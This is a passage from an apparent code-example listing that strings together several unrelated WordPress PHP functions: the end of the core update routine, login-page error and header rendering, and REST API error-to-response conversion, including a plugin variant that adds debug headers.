                }
            }
        }
        //end foreach
    }
    // Handle $result error from the above blocks
    if (is_wp_error($result)) {
        $wp_filesystem->delete($from, true);
        return $result;
    }
    // Remove old files
    foreach ($_old_files as $old_file) {
        $old_file = $to . $old_file;
        if (!$wp_filesystem->exists($old_file)) {
            continue;
        }
        $wp_filesystem->delete($old_file, true);
    }
    // Remove any Genericons example.html's from the filesystem
    _upgrade_422_remove_genericons();
    // Upgrade DB with separate request
    /** This filter is documented in wp-admin/includes/update-core.php */
    apply_filters('update_feedback', __('Upgrading database&#8230;'));
    $db_upgrade_url = admin_url('upgrade.php?step=upgrade_db');
    wp_remote_post($db_upgrade_url, array('timeout' => 60));
    // Clear the cache to prevent an update_option() from saving a stale db_version to the cache
    wp_cache_flush();
    // (Not all cache backends listen to 'flush')
    wp_cache_delete('alloptions', 'options');
    // Remove working directory
    $wp_filesystem->delete($from, true);
    // Force refresh of update information
    if (function_exists('delete_site_transient')) {
        delete_site_transient('update_core');
    } else {
        delete_option('update_core');
    }
    /**
     * Fires after WordPress core has been successfully updated.
     *
     * @since 3.3.0
     *
     * @param string $wp_version The current WordPress version.
     */
    do_action('_core_updated_successfully', $wp_version);
    // Clear the option that blocks auto updates after failures, now that we've been successful.
    if (function_exists('delete_site_option')) {
        delete_site_option('auto_core_update_failed');
    }
    return $wp_version;
}
 /**
  * Returns plugin errors
  *
  * @since 6.0
  * @access public
  */
 function get_errors()
 {
     global $error;
     $wp_error =& $GLOBALS['theme_my_login']->errors;
     if (empty($wp_error)) {
         $wp_error = new WP_Error();
     }
     // Incase a plugin uses $error rather than the $errors object
     if (!empty($error)) {
         $wp_error->add('error', $error);
         unset($error);
     }
     $output = '';
     if ($this->is_active) {
         if ($wp_error->get_error_code()) {
             $errors = '';
             $messages = '';
             foreach ($wp_error->get_error_codes() as $code) {
                 $severity = $wp_error->get_error_data($code);
                 foreach ($wp_error->get_error_messages($code) as $error) {
                     if ('message' == $severity) {
                         $messages .= '    ' . $error . "<br />\n";
                     } else {
                         $errors .= '    ' . $error . "<br />\n";
                     }
                 }
             }
             if (!empty($errors)) {
                 $output .= '<p class="error">' . apply_filters('login_errors', $errors) . "</p>\n";
             }
             if (!empty($messages)) {
                 $output .= '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
             }
         }
     }
     return $output;
 }
/**
 * Outputs the header for the login page.
 *
 * @uses do_action() Calls the 'login_head' for outputting HTML in the Log In
 *		header.
 * @uses apply_filters() Calls 'login_headerurl' for the top login link.
 * @uses apply_filters() Calls 'login_headertitle' for the top login title.
 * @uses apply_filters() Calls 'login_message' on the message to display in the
 *		header.
 * @uses $error The error global, which is checked for displaying errors.
 *
 * @param string $title Optional. WordPress Log In Page title to display in
 *		<title/> element.
 * @param string $message Optional. Message to display in header.
 * @param WP_Error $wp_error Optional. WordPress Error Object
 */
function login_header($title = 'Log In', $message = '', $wp_error = '')
{
    global $error, $interim_login, $current_site, $action;
    // Don't index any of these forms
    add_action('login_head', 'wp_no_robots');
    if (empty($wp_error)) {
        $wp_error = new WP_Error();
    }
    // Shake it!
    $shake_error_codes = array('empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password');
    $shake_error_codes = apply_filters('shake_error_codes', $shake_error_codes);
    if ($shake_error_codes && $wp_error->get_error_code() && in_array($wp_error->get_error_code(), $shake_error_codes)) {
        add_action('login_head', 'wp_shake_js', 12);
    }
    ?>
<!DOCTYPE html>
	<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes();
    ?>
>
	<head>
	<meta http-equiv="Content-Type" content="<?php 
    bloginfo('html_type');
    ?>
; charset=<?php 
    bloginfo('charset');
    ?>
" />
	<title><?php 
    bloginfo('name');
    ?>
 &rsaquo; <?php 
    echo $title;
    ?>
</title>
	<?php 
    wp_admin_css('wp-admin', true);
    wp_admin_css('colors-fresh', true);
    if (wp_is_mobile()) {
        ?>
		<meta name="viewport" content="width=320; initial-scale=0.9; maximum-scale=1.0; user-scalable=0;" /><?php 
    }
    do_action('login_enqueue_scripts');
    do_action('login_head');
    if (is_multisite()) {
        $login_header_url = network_home_url();
        $login_header_title = $current_site->site_name;
    } else {
        $login_header_url = __('http://wordpress.org/');
        $login_header_title = __('Powered by WordPress');
    }
    $login_header_url = apply_filters('login_headerurl', $login_header_url);
    $login_header_title = apply_filters('login_headertitle', $login_header_title);
    // Don't allow interim logins to navigate away from the page.
    if ($interim_login) {
        $login_header_url = '#';
    }
    $classes = array('login-action-' . $action, 'wp-core-ui');
    if (wp_is_mobile()) {
        $classes[] = 'mobile';
    }
    if (is_rtl()) {
        $classes[] = 'rtl';
    }
    $classes = apply_filters('login_body_class', $classes, $action);
    ?>
	</head>
	<body class="login <?php 
    echo esc_attr(implode(' ', $classes));
    ?>
">
	<div id="login">
		<h1><a style="cursor:default;" title="Entelechy"><img src="wp-content/themes/twentyten/images/s1.png"/></a></h1>
	<?php 
    unset($login_header_url, $login_header_title);
    $message = apply_filters('login_message', $message);
    if (!empty($message)) {
        echo $message . "\n";
    }
    // In case a plugin uses $error rather than the $wp_errors object
    if (!empty($error)) {
        $wp_error->add('error', $error);
        unset($error);
    }
    if ($wp_error->get_error_code()) {
        $errors = '';
        $messages = '';
        foreach ($wp_error->get_error_codes() as $code) {
            $severity = $wp_error->get_error_data($code);
            foreach ($wp_error->get_error_messages($code) as $error) {
                if ('message' == $severity) {
                    $messages .= '	' . $error . "<br />\n";
                } else {
                    $errors .= '	' . $error . "<br />\n";
                }
            }
        }
        if (!empty($errors)) {
            echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
        }
        if (!empty($messages)) {
            echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
        }
    }
}
 /**
  * Converts an error to a response object.
  *
  * This iterates over all error codes and messages to change it into a flat
  * array. This enables simpler client behaviour, as it is represented as a
  * list in JSON rather than an object/map.
  *
  * @since 4.4.0
  * @access protected
  *
  * @param WP_Error $error WP_Error instance.
  * @return WP_REST_Response List of associative arrays with code and message keys.
  */
 protected function error_to_response($error)
 {
     $error_data = $error->get_error_data();
     if (is_array($error_data) && isset($error_data['status'])) {
         $status = $error_data['status'];
     } else {
         $status = 500;
     }
     $errors = array();
     foreach ((array) $error->errors as $code => $messages) {
         foreach ((array) $messages as $message) {
             $errors[] = array('code' => $code, 'message' => $message, 'data' => $error->get_error_data($code));
         }
     }
     $data = $errors[0];
     if (count($errors) > 1) {
         // Remove the primary error.
         array_shift($errors);
         $data['additional_errors'] = $errors;
     }
     $response = new WP_REST_Response($data, $status);
     return $response;
 }
Example #30
-2
 /**
  * Sends a response, but also makes sure to attach headers that
  * are handy for debugging.
  * Specifically, we assume folks will want to know what exactly was the DB query that got run,
  * what exactly was the Models query that got run, what capabilities came into play, what fields were omitted from
  * the response, others?
  *
  * @param array|\WP_Error|\Exception $response
  * @return \WP_REST_Response
  */
 public function send_response($response)
 {
     if ($response instanceof \Exception) {
         $response = new \WP_Error($response->getCode(), $response->getMessage());
     }
     if ($response instanceof \WP_Error) {
         //we want to send a "normal"-looking WP error response, but we also
         //want to add headers. It doesn't seem WP API 1.2 supports this.
         //I'd like to use WP_JSON_Server::error_to_response() but its protected
         //so here's most of it copy-and-pasted :P
         $error_data = $response->get_error_data();
         if (is_array($error_data) && isset($error_data['status'])) {
             $status = $error_data['status'];
         } else {
             $status = 500;
         }
         $errors = array();
         foreach ((array) $response->errors as $code => $messages) {
             foreach ((array) $messages as $message) {
                 $errors[] = array('code' => $code, 'message' => $message, 'data' => $response->get_error_data($code));
             }
         }
         $data = isset($errors[0]) ? $errors[0] : array();
         if (count($errors) > 1) {
             // Remove the primary error.
             array_shift($errors);
             $data['additional_errors'] = $errors;
         }
         $rest_response = new \WP_REST_Response($data, $status);
     } else {
         $rest_response = new \WP_REST_Response($response, 200);
     }
     $headers = array();
     if ($this->_debug_mode && is_array($this->_debug_info)) {
         foreach ($this->_debug_info as $debug_key => $debug_info) {
             if (is_array($debug_info)) {
                 $debug_info = json_encode($debug_info);
             }
             $headers['X-EE4-Debug-' . ucwords($debug_key)] = $debug_info;
         }
     }
     $rest_response->set_headers($headers);
     return $rest_response;
 }